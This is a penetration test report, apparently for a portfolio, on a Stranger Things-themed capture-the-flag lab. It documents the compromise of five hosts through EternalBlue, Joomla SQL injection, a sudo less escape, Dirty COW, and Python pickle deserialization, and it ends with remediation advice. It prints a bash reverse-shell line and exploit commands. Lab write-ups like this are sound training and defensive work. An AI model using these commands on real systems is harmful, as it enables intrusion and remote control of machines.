

Penetration Test Report

Assessment Scope: Multi-subnet Network Lab

Attacker Platform: Kali Linux VM

Targets: 5 Hosts across 3 Subnets

Flags Captured: 15/15

Note: IP addresses, credentials, private keys, and encryption material have been redacted

Executive Summary

This document presents the findings of penetration testing conducted on a network using a Kali Linux attacker VM. The assessment targeted five hosts across three subnets with the objective of identifying and exploiting vulnerabilities across all systems. All targets were fully compromised, and a total of 15 flags were successfully captured.

Initial reconnaissance identified three active hosts in the external subnet. On HOST-1 (Windows 7), an unpatched MS17-010 (EternalBlue) vulnerability enabled unauthenticated remote code execution via SMB, granting full system access. Flags were recovered from the filesystem, Windows Registry, and a steganographically concealed image file.

On HOST-2 (Linux), SQL injection against a vulnerable Joomla 3.7.0 webpage exposed password hashes, which were cracked to obtain valid SSH credentials. Privilege escalation to root was achieved through unrestricted sudo permissions on an interactive binary. A misconfigured DNS service allowed unauthenticated zone transfer, revealing two previously undiscovered internal subnets.

On HOST-3 (Linux), plaintext FTP credentials stored in readable files enabled initial access, followed by privilege escalation using the Dirty COW kernel exploit. A further flag was recovered by decrypting an RSA-encrypted file using a private key discovered after root compromise.

Access to isolated internal subnets required two separate pivoting paths. The first internal subnet was reached by pivoting through HOST-2 using Meterpreter auto routing. On INTERNAL-HOST-1, a custom TCP service on port 1337 processed untrusted input, allowing arbitrary code execution. A privileged scheduled task executing the same unsafe logic enabled escalation to root. The second internal subnet was accessed by pivoting through HOST-3 using Meterpreter port forwarding. On INTERNAL-HOST-2, a Base64-encoded RSA private key exposed in HTML comments enabled authenticated SSH access. Plaintext credentials in accessible mounted directories facilitated lateral movement across all internal user accounts.

The vulnerabilities identified collectively enabled complete compromise of all hosts. Immediate remediation should prioritise patch management and system upgrades, disabling insecure protocols (SMBv1, FTP, unauthenticated DNS zone transfers), enforcing least-privilege access controls, removing sensitive artefacts from web directories, and implementing robust network segmentation.

Captured Flags

Host 1: Windows 7 (External Subnet)		
Flag	Flag Location	Flag Content
1	C:\Users\will\Desktop	FLAG – Mornings are for coffee and contemplation. But today, we’re breaking into Hawkins Lab. – Chief Hopper
2	HKLM\SOFTWARE\FlagsRUs	FLAG – The Mind Flayer thought it could take over everything. But it didn’t count on a bunch of nerds and a girl with powers.
3	C:\Users\will\Pictures	FLAG – You can’t fight the darkness with logic. You fight it with Christmas lights and baseball bats.
HOST 2- Linux Ubuntu (External Subnet)		
Flag	Flag Location	Flag Content
1	DNS flagentry.hawkins	FLAG – This isn't Dungeons & Dragons anymore.
2	/joyce/.flags/flag.enc	FLAG – You want to know the code? Try friendship, loyalty, and just a little bit of chaos. - Will
3	/root/flag.txt	FLAG – We didn’t sign up for this. But when your friends are in danger you break into labs, decode Russian signals, and save the word. - Dustin
HOST 3- Linux Ubuntu (External Subnet)		
Flag	Flag Location	Flag Content
1	/home/sys-backup/flag.txt	FLAG – Joyce knew what she saw – and she was right. The system was wrong, and the truth was in the static.
2	/root/flag.txt	FLAG – Sometimes the monsters aren’t in the Upside Down. Sometimes they sit in labs with clipboards and funding. -- Nancy
3	/archive/.old/backups/.X11/1999-logs/updates/drafts/.flag.rsa	FLAG – You can't hide the truth forever. Not when the lights start flickering and the walls start whispering.
INTERNAL HOST 1 – Linux Ubuntu 18.04 (Internal Subnet 1)		
Flag	Flag Location	Flag Content
1	Project Eleven Interface – Option 3. Attempt flag data recovery	FLAG – El didn’t need many words – just a nosebleed and a stare to blow open doors. Literally.

2	/data/flag.pkl	FLAG – We never would’ve found the gate without each other. It’s not just science – it’s friendship that keeps us alive. - Dustin.
3	root/flag.txt	FLAG – In this town, secrets are buried deeper than the Demogorgon’s lair. - Lucas
INTERNAL HOST 2 – Linux Ubuntu (Internal Subnet 2)		
Flag	Flag Location	Flag Content
1	/home/lucas/flag.txt	FLAG – We’re not in Hawkins anymore - Lucas
2	~/lab/flag.enc	FLAG – Never tell me the odds. - Dustin.
3	/home/eddie/flag.txt	FLAG – This one is for the freaks, the outcasts, and everyone else left outside. - Eddie

Network Analysis

This section presents a network-level overview of the environment and host-level analysis of exposed ports, services, and operating systems. IP addresses have been redacted for portfolio publication.

Initial reconnaissance identified hosts within the external subnet. Host discovery techniques revealed four active IP addresses: three target hosts (HOST-1, HOST-2, HOST-3) and a network infrastructure device (GATEWAY).

Post-exploitation network analysis of HOST-1 (Windows) confirmed the system was connected only to the external subnet and was not suitable as a pivot point for deeper network access.

Post-exploitation analysis of HOST-2 (Linux) revealed a misconfigured DNS service allowing unauthenticated zone transfers. This exposed internal hostnames and addressing for two previously undiscovered internal hosts. Interface enumeration confirmed HOST-2 was dual-homed, connected to both the external subnet and Internal Subnet 1, enabling pivoting.

Post-exploitation analysis of HOST-3 (Linux) revealed active interfaces on both the external subnet and Internal Subnet 2, positioning it as a gateway for accessing the second isolated segment.

Host Summary Table

Host	OS	Open Ports / Services	Key Vulnerabilities
HOST-1	Windows 7	135 (RPC), 139 (NetBIOS), 445 (SMB), 2869/10243 (HTTP)	MS17-010 EternalBlue, Cleartext data storage, Steganography
HOST-2	Linux Ubuntu (kernel 3.x-4.x)	22 (SSH), 53 (DNS/BIND), 80 (HTTP/Apache)	SQL Injection (Joomla 3.7.0), DNS Zone Transfer, Sudo misconfiguration
HOST-3	Linux Ubuntu	21 (FTP/ProFTPD 1.3.5), 22 (SSH/OpenSSH 7.2p2)	FTP credential disclosure, Dirty COW (CVE-2016-5195), RSA key exposure

INTERNAL-HOST-1	Linux Ubuntu 18.04	1337 (Custom TCP service)	Missing auth, Python pickle deserialization, Privileged cron job
INTERNAL-HOST-2	Linux Ubuntu	22 (SSH), 80 (HTTP)	Private key in HTML comments, Plaintext credentials in mounted dirs

Flag Discovery

HOST-1 — Windows 7

Flag 1 — EternalBlue / MS17-010

Discovery Path. HOST-1 exposed the SMB service on port 445 and was running an unpatched Windows 7 system. The combination strongly indicated potential for remote code execution. Metasploit's SMB scanner module confirmed the host was vulnerable to MS17-010 (EternalBlue).

Exploitation Point. CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer. The SMBv1 protocol implementation flaw allowed unauthenticated remote code execution through malformed network requests, demonstrating inadequate patch management and reliance on an end-of-life operating system.

Access Steps. The Metasploit MS17-010 EternalBlue exploit module was used to achieve system-level access. A Meterpreter session was established and the filesystem was enumerated to retrieve the flag.

- Tool: Metasploit (exploit/windows/smb/ms17_010_eternalblue)
- Payload: windows/x64/meterpreter/reverse_tcp
- Flag location: C:\Users\will\Desktop\flag.txt

Flag 2 — Windows Registry Storage

Discovery Path. Post-exploitation enumeration of common directories revealed a hint file at C:\Users\will\Documents\hint.txt. The hint indicated the flag was stored in a central system data store, directing attention toward the Windows Registry.

Exploitation Point. CWE-312: Cleartext Storage of Sensitive Information. Sensitive data was stored directly within the Windows Registry under a custom application key (HKLM\SOFTWARE\FlagsRUs), accessible to any user with sufficient privileges.

Access Steps. Registry hives were enumerated from the Meterpreter session. The custom key was queried using reg query to reveal the flag content.

- Command: reg query "HKLM\SOFTWARE\FlagsRUs"
- Flag location: HKLM\SOFTWARE\FlagsRUs

Flag 3 — Steganography in Image File

Discovery Path. Recursive review of the user's Pictures directory revealed an anomalous image file (thumb-1920-879599.jpg) differing in size and timestamp from surrounding files, suggesting deliberate placement.

Exploitation Point. CWE-312: Cleartext Storage of Sensitive Information. Sensitive data was concealed within an image file using steganographic techniques, invisible during normal viewing.

Access Steps. The file was extracted from the target and examined using forensic tools. Analysis revealed embedded flag data stored in the image's XP Comment metadata field.

- Tools used: strings, exiftool, binwalk
- Flag location: C:\Users\will\Pictures\thumb-1920-879599.jpg (XP Comment metadata)

HOST-2 — Linux Ubuntu

Flag 1 — DNS Zone Transfer

Discovery Path. An SSH connection attempt revealed a banner hint indicating services existed in the "hawkins" domain. This directed attention to the DNS service running on port 53.

Exploitation Point. CWE-284: Improper Access Control. The DNS service (ISC BIND) was misconfigured to allow unauthenticated zone transfers (AXFR), exposing all internal DNS records without authentication.

Access Steps. A full DNS zone transfer request was conducted using dig. The output revealed a TXT record (flagentry.hawkins) containing the flag, and also disclosed two additional internal subnet hosts.

- Command: dig axfr @[HOST-2] hawkins
- Flag location: DNS TXT record at flagentry.hawkins

Flag 2 — SQL Injection on Joomla 3.7.0

Discovery Path. HOST-2 exposed HTTP on port 80 running Joomla 3.7.0, a version known to be vulnerable to SQL injection via the com_fields component.

Exploitation Point. CWE-89: Improper Neutralization of Special Elements used in an SQL Command. Joomla 3.7.0 fails to sanitise user-supplied input in the com_fields component, allowing manipulation of SQL queries via the list[fullordering] parameter without authentication.

Access Steps. sqlmap was used to enumerate the Joomla database and dump the users table. Password hashes were cracked using John the Ripper with the rockyou.txt wordlist to obtain valid SSH credentials. Post-authentication enumeration revealed an encrypted flag file, which was decoded using Base64 followed by a Vigenere cipher.

- Tool: sqlmap, John the Ripper
- Vulnerable URL parameter: list[fullordering] (ORDER BY injection)
- Cipher: Base64 + Vigenere (key discovered during HOST-3 FTP enumeration)
- Flag location: /joyce/.flags/flag.enc

Flag 3 — Sudo Privilege Escalation via less

Discovery Path. Post-exploitation enumeration of the home directory revealed a hidden file .labnote containing instructions referencing sudo less on a log file — a known GTF0Bins privilege escalation vector.

Exploitation Point. CWE-269: Improper Privilege Management. The user was permitted to execute less with sudo privileges. The less utility supports shell escape functionality, allowing arbitrary commands to be run as root when invoked with elevated privileges.

Access Steps. The log file was opened via sudo less. While in the pager, a shell escape (!/bin/bash) was invoked to obtain a root shell. The root directory was then enumerated to retrieve the flag.

- Command: sudo less /opt/hawkinslab/lab.log
- Shell escape: !/bin/bash
- Flag location: /root/flag.txt

HOST-3 — Linux Ubuntu (Gatekeeper)

Flag 1 — FTP Credential Disclosure

Discovery Path. HOST-3 exposed FTP (ProFTPD 1.3.5) on port 21. The FTP service banner disclosed authentication credentials directly within the banner message. A robots.txt file in the FTP directory further disclosed internal backup paths.

Exploitation Point. CWE-522: Insufficiently Protected Credentials and CWE-200: Exposure of Sensitive Information. Credentials were disclosed in the service banner. Subsequent FTP enumeration revealed a symbolic link referencing a password reminder file containing SSH credentials.

Access Steps. FTP was accessed using the banner-disclosed credentials. Directory enumeration revealed a symbolic link pointing to a credential file. SSH access was obtained using the discovered credentials and the flag was retrieved from the home directory.

- FTP credentials: disclosed in service banner [REDACTED]
- SSH credentials discovered via symlink to password reminder file [REDACTED]
- Flag location: /home/sys-backup/flag.txt

Flag 2 — Dirty COW Kernel Privilege Escalation (CVE-2016-5195)

Discovery Path. After gaining SSH access, directory traversal showed restricted access to system directories. Kernel version enumeration (uname -r) identified Linux kernel 4.4.0-21, which is vulnerable to CVE-2016-5195.

Exploitation Point. CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization. Kernel version 4.4.0-21 is vulnerable to Dirty COW, a race condition in the Linux kernel memory subsystem allowing local privilege escalation by modifying read-only memory mappings.

Access Steps. A publicly available Dirty COW exploit (Exploit-DB ID 40847) was compiled on the target system. Execution successfully escalated privileges to root. The root directory was enumerated to retrieve the flag.

- Exploit: CVE-2016-5195 (Dirty COW) — Exploit-DB ID 40847
- Commands: g++ -pthread -std=c++11 exploit.cpp -o exploit -lutil && ./exploit
- Flag location: /root/flag.txt

Flag 3 — RSA Decryption after Root Compromise

Discovery Path. Post-exploitation enumeration of the root home directory revealed a hidden .rsa directory containing a private key (priv.pem) and public key (pub.pem). This correlated with an encrypted .flag.rsa file retrieved during FTP enumeration.

Exploitation Point. CWE-312 and CWE-732: Incorrect Permission Assignment for Critical Resource. A multi-stage chain — FTP disclosure, kernel exploit, root access — enabled recovery of cryptographic material to decrypt protected data.

Access Steps. The private key was recovered from /root/.rsa/. The encrypted flag was decrypted using OpenSSL with the recovered private key.

- Command: openssl rsautl -decrypt -inkey priv.pem -in .flag.rsa
- Flag location: /archive/.old/backups/.X11/1999-logs/updates/drafts/.flag.rsa

INTERNAL-HOST-1 — Ubuntu 18.04 (Internal Subnet 1)

Pivot Method: Meterpreter auto-routing through HOST-2 (dual-homed host).

Flag 1 — Unauthenticated Custom TCP Service

Discovery Path. After establishing pivot routing, port scanning of Internal Subnet 1 identified a single open service on TCP port 1337. Connecting revealed a custom application called the "Project Eleven Interface".

Exploitation Point. CWE-306: Missing Authentication for Critical Function. The service failed to enforce authentication before granting access to sensitive menu options.

Access Steps. A TCP connection was established via the pivot using netcat. Menu option 3 (Attempt flag data recovery) was selected, returning a Base64-encoded message. Decoding revealed the flag within developer notes.

- Command: nc [INTERNAL-HOST-1] 1337
- Flag location: Project Eleven Interface — Option 3 (developer notes)

Flag 2 — Python Pickle Deserialization RCE

Discovery Path. Developer notes obtained in Flag 1 revealed calibration models were submitted as Base64 data, decoded server-side, and deserialized using Python's pickle.loads() function — a classic unsafe deserialization pattern.

Exploitation Point. CWE-502: Deserialization of Untrusted Data. Python pickle objects can invoke arbitrary function calls during deserialization. User-supplied data was deserialized without integrity checks, allowing execution of attacker-controlled code.

Access Steps. A custom exploit script was written to generate a malicious pickle object containing a reverse shell payload, encoded in Base64. This was submitted via the service's calibration upload option. A netcat listener on the pivot host received the reverse shell as the application user (el).

- Exploit: Custom Python pickle deserialization payload
- Reverse shell: bash -i >& /dev/tcp/[PIVOT-HOST]/4444 0>&1
- Flag location: /opt/project-eleven/data/flag.pkl

Flag 3 — Privileged Cron Job Exploitation

Discovery Path. Post-exploitation enumeration revealed a root-owned cron job executing /opt/project-eleven/cron-read.py at five-minute intervals. This script automatically deserialized the active calibration model file (model.pkl) using pickle.load() without validation.

Exploitation Point. CWE-269: Improper Privilege Management combined with CWE-502. A privileged scheduled task reused the same insecure deserialization logic, and the model file was writable by the application user — allowing arbitrary code execution as root.

Access Steps. A modified malicious pickle payload targeting a new listener port was placed as the active model file. When the cron job executed, the privileged process deserialized the payload and delivered a root shell.

- Method: Replace /opt/project-eleven/data/model.pkl with malicious pickle
- Trigger: Root-owned cron job (*/* * * * *)
- Flag location: /root/flag.txt

INTERNAL-HOST-2 — Ubuntu (Internal Subnet 2)

Pivot Method: Meterpreter port forwarding through HOST-3 (dual-homed host).

Flag 1 — RSA Private Key in HTML Comments

Discovery Path. Port forwarding was configured to access the internal web application. Inspection of the page source revealed an HTML comment referencing sensitive files: a QR image and a Base64-encoded RSA private key.

Exploitation Point. CWE-200: Exposure of Sensitive Information. The web application exposed a Base64-encoded RSA private key directly in its document root without authentication, enabling unauthorised SSH access.

Access Steps. The key file was downloaded via HTTP, decoded from Base64, and used for SSH authentication as user mike. Post-authentication enumeration revealed a Base64-encoded file containing credentials for the next user (lucas). The flag was retrieved from the lucas home directory.

- HTML comment: <!-- Admin, remember to remove: qr_mike.png mike_id_rsa.b64 -->
- Key retrieval: `wget http://[PORT-FORWARD]/mike_id_rsa.b64 | base64 -d > id_rsa`
- SSH: `ssh -p 2222 -i id_rsa mike@127.0.0.1`
- Credentials chain: mike (RSA key) -> lucas (Base64 encoded in .next_stage.b64) [REDACTED]
- Flag location: /home/lucas/flag.txt

Flag 2 — Plaintext Credentials in Mounted Directory

Discovery Path. A hint file in the lucas home directory indicated additional resources were accessible via a mounted directory at /mnt/stage3. Enumeration revealed a dustin_creds.txt file with plaintext credentials.

Exploitation Point. CWE-522: Insufficiently Protected Credentials. Plaintext credentials were stored in a mounted directory accessible to authenticated users, enabling lateral movement without software exploitation.

Access Steps. Credentials from the mounted directory were used to SSH in as dustin. Post-authentication enumeration revealed an encrypted flag fragment. Using an IV from the mike home directory and a key from dustin's home directory, the flag was decrypted using OpenSSL AES-256-CBC.

- Credential file: /mnt/stage3/dustin_creds.txt [REDACTED]
- Decryption: `openssl enc -aes-256-cbc -d -in ~/lab/flag.enc -iv [REDACTED] -K [REDACTED]`
- Flag location: ~/lab/flag.enc (decrypted)

Flag 3 — Credential Disclosure in Decrypted File

Discovery Path. The decrypted flag.enc output contained a plaintext comment disclosing the password for another internal user account (eddie).

Exploitation Point. CWE-522: Insufficiently Protected Credentials. Sensitive authentication information was embedded in plaintext within a decrypted file, enabling further lateral movement.

Access Steps. The disclosed credentials were used to SSH in as eddie. The flag was retrieved from the home directory.

- Credential disclosure: comment within decrypted file [REDACTED]

- SSH: `ssh -p 2222 eddie@127.0.0.1`
- Flag location: `/home/eddie/flag.txt`

Recommendations

HOST-1 — Windows 7

1. Patch and upgrade immediately. Apply MS17-010 patch and migrate from Windows 7 (end-of-life January 2020). Disable SMBv1 via Group Policy and restrict port 445 from untrusted network segments.
2. Eliminate cleartext sensitive data storage. Implement secrets management solutions; never store sensitive data in registry keys or accessible files in cleartext. Enforce access controls on sensitive registry hives.
3. Deploy file integrity monitoring. Implement host-based IDS (e.g. OSSEC, Wazuh) to detect unexpected file creation and data concealed in media files.

HOST-2 — Linux Ubuntu

4. Update Joomla and remediate SQL injection. Joomla 3.7.0 must be updated immediately. All database queries must use parameterised statements. Deploy a web application firewall to block injection attempts.
5. Enforce strong password policies and enable MFA. Weak credentials enabled compromise via password hash cracking. Enforce strong password requirements and multi-factor authentication for SSH and administrative accounts.
6. Disable unauthenticated DNS zone transfers. Configure BIND to restrict zone transfers exclusively to authorised secondary DNS servers and enforce TSIG authentication.
7. Restrict sudo privileges. Remove unrestricted sudo access to interactive programs. Apply the NOEXEC option where appropriate and enforce least-privilege sudo configurations.

HOST-3 — Linux Ubuntu

8. Replace FTP with secure alternatives. FTP transmits credentials in cleartext. Disable FTP in favour of SFTP or FTPS. Service banners must never expose authentication material.
9. Apply kernel security updates. CVE-2016-5195 (Dirty COW) must be patched immediately. Implement a formal patch management policy ensuring critical kernel updates are applied within 72 hours of release.

INTERNAL-HOST-1 — Ubuntu 18.04

10. Replace unsafe deserialization mechanisms. Python's pickle module must not be used to process untrusted input. Use safer formats such as JSON with strict schema validation. All application interfaces must enforce authentication.
11. Isolate privileged scheduled tasks. Files processed by root-owned cron jobs must be writable only by privileged accounts. Application services should execute under dedicated, least-privilege service accounts.

INTERNAL-HOST-2 — Ubuntu

12. Implement strict network segmentation. Enforce firewall rules between segments to prevent unrestricted lateral movement from a single compromised host.

13. Enforce credential hygiene and eliminate hardcoded passwords. Plaintext credentials must never be stored in mounted directories or embedded in application files. Use secrets management platforms (e.g. HashiCorp Vault).
14. Remove sensitive data from web application documents. Private keys, encoded credentials, and development comments must never appear in publicly accessible HTTP directories. Conduct pre-deployment security reviews for all web-served files.

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